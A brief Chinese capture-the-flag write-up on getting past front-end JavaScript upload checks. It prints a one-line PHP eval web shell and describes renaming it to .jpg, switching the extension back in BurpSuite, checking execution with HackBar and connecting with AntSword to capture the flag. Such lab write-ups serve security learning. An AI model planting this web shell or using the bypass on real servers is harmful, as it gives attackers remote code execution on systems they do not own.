JS前端验证文件上传 使用一句话木马 <?php @eval($_POST['a']); ?> 并保存为.php文件 尝试上传 发现 .txt .php 文件都无法正常上传,只能上传 “.jpg" ".jpeg” “*.png” 文件。于是将 123.php 改为 123.jpg ,正常上传 由于JS验证属于前端验证,我们可以通过BurpSuite拦截请求并修改文件后缀 forward放包 上传成功并回显相对路径 复制路径并访问,使用HackBar进行POST传参验证木马可行性 执行成功 使用蚁剑工具对木马进行连接 连接成功 拿下flag